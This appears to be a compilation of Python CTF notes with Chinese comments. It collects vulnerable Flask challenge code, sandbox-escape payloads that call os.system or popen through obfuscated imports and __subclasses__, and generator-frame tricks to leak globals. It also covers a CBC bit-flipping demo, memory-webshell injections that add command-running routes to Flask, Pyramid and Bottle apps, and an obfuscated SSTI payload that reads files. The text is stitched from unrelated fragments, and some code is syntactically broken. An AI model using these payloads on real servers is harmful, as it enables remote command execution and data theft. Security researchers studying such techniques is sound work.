#!/usr/bin/env python
# encoding=utf-8

from flask import Flask, request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)
secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if not os.path.exists(self.sandbox):  # SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        
        if self.checkSign():
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if resp == "Connection Timeout":
                    result['data'] = resp
                else:
                    print (resp)
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        
        return result

    def checkSign(self):
        return getSign(self.action, self.param) == self.sign


# generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    
    if waf(param):
        return "No Hacker!!!!"
    
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())


@app.route('/')
def index():
    return open("code.txt", "r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"


def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check = param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0', port=80)

__import__('os').__dict__["system"]('whoami')
#python2 and python3

__import__(''.decode.('base64')).getoutput('pwd')
#python2

import importlib
x = importlib.import_module('pbzznaqf'.encode('rot_13')) #commands
print (x.getoutput('pwd'))
#python2

import sys

print(sys.path)

#sys下还有一个modules，返回一个字典，可以查看各个模块对应的系统路径。
print(sys.modules['os'])

#python2 and python3

execfile('/usr/lib/python.2.7/os.py')
#python2

with open('/usr/lib/python3.6/os.py','r') as f: #路径通过上面的sys方法来找
    exec(f.read())
system('ls')
#python2 and python3

import timeit
timeit.timeit("__import__('os').system('dir')",number=1)
#p2 and p3

>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BaseExceptionGroup', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EncodingWarning', 'EnvironmentError', 'Exception', 'ExceptionGroup', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'WindowsError', 'ZeroDivisionError', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'aiter', 'all', 'anext', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']

__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('whoami')#但是这个只能python2使用
#==
__builtins__.__dict__['__import__']('os').system('whoami')#p2 and p3

eval('__import__("os").system("dir")')
eval('__import__("os").system("cat flag")')

import platform
print (platform.popen('dir').read())
#python2

class A():
    def __init__(self):
        self.a = 'a'
print (dir(A))

print (A.__dict__)

import sys
print (dir(sys.modules[__name__]))

def f(x,y,z):
    a = 'secret'
    b = 2333
print (f.func_code.co_argcount)
print (f.func_code.co_consts)
print (f.func_code.co_code)
#p2

def f(x,y,z):
    a = 'secret'
    b = 2333
print(f.__code__.co_argcount)
print(f.__code__.co_consts)
print(f.__code__.co_code)
#p3

import dis
def f(x,y,z):
    a = 'secret'
    b = 2333
print (dis.dis(f))

def foo(a, b):
    c = a + b
    bar(c)

def bar(x):
    y = x * 2
    print(y)

foo(3, 4)

def get_list():
    return [1, 2, 3]
result = get_list()  # 一次性返回整个列表 [1, 2, 3]

def get_gen():
    yield 1
    yield 2
    yield 3
    
gen = get_gen()  # 不会立即执行，只是创建生成器对象
print(next(gen))  # 输出 1
print(next(gen))  # 输出 2
print(next(gen))  # 输出 3

gen = (x * x for x in range(5))
print(list(gen))  # 输出 [0, 1, 4, 9, 16]

def my_generator():
    yield 1
    yield 2
    yield 3

gen = my_generator()

# 获取生成器的当前帧信息
frame = gen.gi_frame

# 输出生成器的当前帧信息
print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)

Local Variables: {}

Global Variables: {'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x0000024A3485C260>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'D:\\pycharm\\PythonProject\\12121212.py', '__cached__': None, 'my_generator': <function my_generator at 0x0000024A346EA2A0>, 'gen': <generator object my_generator at 0x0000024A64CB1380>, 'frame': <frame at 0x0000024A347E4E00, file 'D:\\pycharm\\PythonProject\\12121212.py', line 1, code my_generator>}

Code Object: <code object my_generator at 0x0000024A349F1200, file "D:\pycharm\PythonProject\12121212.py", line 1>

Instruction Pointer: 0

s3cret="this is flag"

codes='''
def waff():
    def f():
        yield g.gi_frame.f_back

    g = f()  #生成器
    frame = next(g) #获取到生成器的栈帧对象
    print(frame)
    print(frame.f_back)
    print(frame.f_back.f_back)
    b = frame.f_back.f_back.f_globals['s3cret'] #返回并获取前一级栈帧的globals
    return b
b=waff()
'''
locals={}
code = compile(codes, "test", "exec")
exec(code,locals)
print(locals["b"])

key = "this is flag"
codes='''
def waff():
    def f():
        yield g.gi_frame.f_back
    g = f()  #生成器
    frame = next(g) #获取到生成器的栈帧对象
    b = frame.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals
    return b
b=waff()
'''
locals={"__builtins__": None}
code = compile(codes, "", "exec")
exec(code, locals, None)
print(locals["b"])

key = "this is flag"
codes='''
def waff():
    def f():
        yield g.gi_frame.f_back
    g = f()  #生成器
    frame = [i for i in g][0] #获取到生成器的栈帧对象
    b = frame.f_back.f_back.f_back.f_globals['key'] #返回并获取前一级栈帧的globals
    return b
b=waff()
'''
locals={"__builtins__": None}
code = compile(codes, "", "exec")
exec(code, locals, None)
print(locals["b"])

from Crypto.Cipher import AES
import uuid
import binascii

BS = AES.block_size  # 分组长度
key = b'test'  # 密钥
iv = uuid.uuid4().bytes  # 随机初始向量
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()  # Pkcs5Padding
data = b'1234567890abcdefabcdef1234567890'  # 明文M


# 加密
def enc(data):
    aes = AES.new(pad(key), AES.MODE_CBC, iv)
    ciphertext = aes.encrypt(pad(data))
    ciphertext = binascii.b2a_hex(ciphertext)
    return ciphertext


# 解密
def dec(c):
    c = binascii.a2b_hex(c)
    aes = AES.new(pad(key), AES.MODE_CBC, iv)
    data = aes.decrypt(c)
    return data


# 测试CBC翻转
def CBC_test(c):
    c = bytearray(binascii.a2b_hex(c))
    c[0] = c[0] ^ ord('a') ^ ord('A')  # c[0]为第一组的密文字符，a为第二组相应位置的明文字符，A是我们想要的明文字符 这一步就是在做 A'=A⊕C⊕C'
    c = binascii.b2a_hex(c)
    return c


print("ciphertext:", enc(data))
print("data:", dec(enc(data)))
print("CBC Attack:", dec(CBC_test(enc(data))))

print(''.__class__.__base__.__subclasses__()[317]('ls *',shell=True,stdout=-1).communicate()[0].strip())
#b'app.pyinstance:\ndatabase.db\n\n__pycache__:\napp.cpython-38.pyc\n\nstatic:\ncss\n\ntemplates:\nabout.html\ncodes.html\nindex.html\nlogin.html\nregister.html' 
发现有instance下有database.db 读一下试试看

url_for.__globals__['__builtins__']['eval'](
	"app.add_url_rule(
		'/shell', 
		'shell', 
		lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
	)",
	{
		'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
		'app':url_for.__globals__['current_app']
	}

from flask import Flask
from flask import request
from flask import redirect
from flask import session
 
app = Flask(__name__)  # type:Flask
app.secret_key = "DragonFire"
 
 
@app.before_request
def is_login():
    if request.path == "/login":
        return None
 
    if not session.get("user"):
        return redirect("/login")
 
 
@app.route("/login")
def login():
    return "Login"
 
 
@app.route("/index")
def index():
    return "Index"
 
 
@app.route("/home")
def home():
    return "Login"
 
app.run("0.0.0.0", 5000)

from flask import Flask, request, Response

app = Flask(__name__)

@app.route('/')
def index():
    return 'Home Page'

@app.route('/e')
def inject_memory_shell():
    cmd = request.args.get('cmd')
    try:
        # 使用 eval 动态注入代码
        eval(cmd)
        return 'Payload injected successfully'
    except Exception as e:
        return f'Error: {e}'

@app.before_request
def trigger_hook():
    pass  # 所有注入的 before_request 都会自动执行

if __name__ == '__main__':
    app.run(debug=True)

@app.after_request
def foot_log(environ):
    if request.path != "/login":
        print("有客人访问了",request.path)
    return environ

from flask import Flask, request, make_response

app = Flask(__name__)

# 注入点：可动态注入 payload
@app.route('/e')
def inject_memory_shell():
    cmd = request.args.get('cmd')
    try:
        eval(cmd)
        return 'Payload injected successfully'
    except Exception as e:
        return f'Error: {e}'

# 初始钩子：占位
@app.after_request
def default_after(resp):
    return resp

# 主页面
@app.route('/')
def index():
    return 'Home Page'

if __name__ == '__main__':
    app.run(debug=True)

def f():
    yield g.gi_frame.f_back

g = f()             
frame = next(g)     
b = frame.f_back.f_back.f_globals
print(b)

def hello(request):        
    code = request.POST['code']       
    res=eval(code)        
    return Response(res)  
    config.add_route('shell', '/shell')    #添加新路由
    config.add_view(hello, route_name='shell')    #给/shell路由绑定视图hello
    config.commit()      #立即更新服务 而不是手动重启 这样才能够生效

def waff():  
    def f():        yield g.gi_frame.f_back  
    g = f()    frame = next(g)       
    b = frame.f_back.f_back.f_globals  
    def hello(request):        code = request.POST['code']        res=eval(code)        return Response(res)  
    config.add_route('shell', '/shell')    config.add_view(hello, route_name='shellb')    config.commit()  
waff() 

import requests
from urllib.parse import quote
code='''def waff():
    def f():
        yield g.gi_frame.f_back
 
    g = f()             
    frame = next(g)     
    b = frame.f_back.f_back.f_globals
    def hello(request):
        code = request.params['code']
        res=eval(code)
        return Response(res)
 
    config.add_route('shellb', '/shellb')
    config.add_view(hello, route_name='shellb')
    config.commit()
 
waff()
'''
url="YOUR_URL"
data={"expr":f"{code}+111"}
res=requests.post(url=url,data=data)
print(res.text)

import requests
from urllib.parse import quote
code='''def waff():
    def f():
        yield g.gi_frame.f_back

    g = f()             
    frame = next(g)     
    b = frame.f_back.f_back.f_globals
    print(b)

waff()
'''

code1="print(1)"
burp0_url = "http://127.0.0.1:6543/api/test?code="+code+"&token=eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwYXNzd29yZCI6ICIxMjM0NTYifQ%3D%3D.Z5LpNETpFxdzqwhuSwp762ebRWcYzKBWCL5zrymkRlSJ4Lvl%2BAysBf1d8NIRmFQRJ0P3ceKEpn7rGGUpICNmQ9yYf77FHJcVX2hJQ4YodabxiavEMlgYkeDelNPgmohkG%2F3sk8CqPKkY41cRlhVrBPZJn2AInLkEIyW5yt1CRo0NWDndTl4v6eRTu3JtG9FXUs3O8hzeuqBsnzDS%2Fih3dEzWXzGxj%2B90UOOPDlJdnaBj22b4oIoMKVbYNuJFkAjqbCW8dVdLxX35VVonnFW5VfJ7tcepTt1irmtnL%2FEgVb94yqAr3YtJRSIRHJr79t46PLs8bpG9m3kOjtwtxrUz9g%3D%3D.UlM%3D.LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFwemJKUWRqWlEyL3pGeFVZc2I2YQo4YnljREhtSzQ2QXpaa25aQXJxMFFKekE5Ri9EWXFxRk5KanpTeHk0WmZqbmk4TlprRmduM2REWXdCU0JUWjZKClc3VW1waWVDZXcza3o5cy9GMENRdUxCY0dKMTd0M2RPVWRRVVpSVnJXUkhBeE1aL0Y2VFFSUWMvUkFVQy9qRmUKWGVYWTBIeFFydyt6amVJeWNCNlcyeGdZUDlxU0RXNHZYeWFrb1pRZXZiZmhHc3dVQWU3Vm5jQ3FuYnBPZk5tZQphZXdwRTd0b3NoSWpOSWFiN3d5RW9zQzY0RGhGU2tsNS9qZ0ZyVFVheC84OERueDJzYzgzL3hHWFVyY0tDajB3CmdQRVhmTFdGc2NLbzRtdzFNaHhGWE5SZEZDdDFHMVM3eTd6WkdESklQRXhQbEFJSE05RzNSWFd5WDlXbm5xUzQKSlFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate, br", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "none", "Sec-Fetch-User": "?1", "Priority": "u=0, i"}
res=requests.get(burp0_url, headers=burp0_headers)
print(res.text)

app.route("/b","GET",lambda :__import__('os').popen(request.params.get('a')).read()) #直接访问/b路由 a参数可以进行rce

app.error(404)(lambda e: __import__('os').popen(request.query.get('a')).read())

#reaponse
app.add_hook('before_request', lambda: __import__('bottle').response.set_header('X-flag', __import__('base64').b64encode(__import__('os').popen(request.query.get('a')).read().encode('utf-8')).decode('utf-8')))

#abort
app.add_hook('before_request', lambda: __import__('bottle').abort(404,__import__('os').popen(request.query.get('a')).read()))

import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
    for x in black_list:
        if x in name.lower():
            return True
    return False
def is_typable(char):
    # 定义可通过标准 QWERTY 键盘输入的字符集
    typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
    return char in typable_chars

@app.route('/')
def home():
    return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
    template1=""
    template2=""
    name = request.form.get('name')
    template = f'{name}'
    if waf(name):
        template = '想干坏事了是吧hacker？哼，还天命人，可笑，可悲，可叹
Image'
    else:
        k=0
        for i in name:
            if is_typable(i):
                continue
            k=1
            break
        if k==1:
            if not (secret_key[:2] in name and secret_key[2:]):
                template = '连“六根”都凑不齐，谈什么天命不天命的，还是戴上这金箍吧

再去西行历练历练

Image'
                return render_template_string(template)
            template1 = "“六根”也凑齐了，你已经可以直面天命了！我帮你把“secret_key”替换为了“{{}}”
最后，如果你用了cat，就可以见到齐天大圣了
"
            template= template.replace("天命","{{").replace("难违","}}")
            template = template
    if "cat" in template:
        template2 = '
或许你这只叫天命人的猴子，真的能做到？

Image'
    try:
        return template1+render_template_string(template)+render_template_string(template2)
    except Exception as e:
        error_message = f"500报错了，查询语句如下：
{template}"
        return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
    template="hint：
有一个aazz路由，去那里看看吧，天命人!"
    return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
    with open(__file__, 'r') as f:
        source_code = f.read()
    return f"
{source_code}
", 200, {'Content-Type': 'text/html; charset=utf-8'}

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

天命((g['p''op']["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]('o''s'))['p''open']('cat /t*'))['r''ead']()难违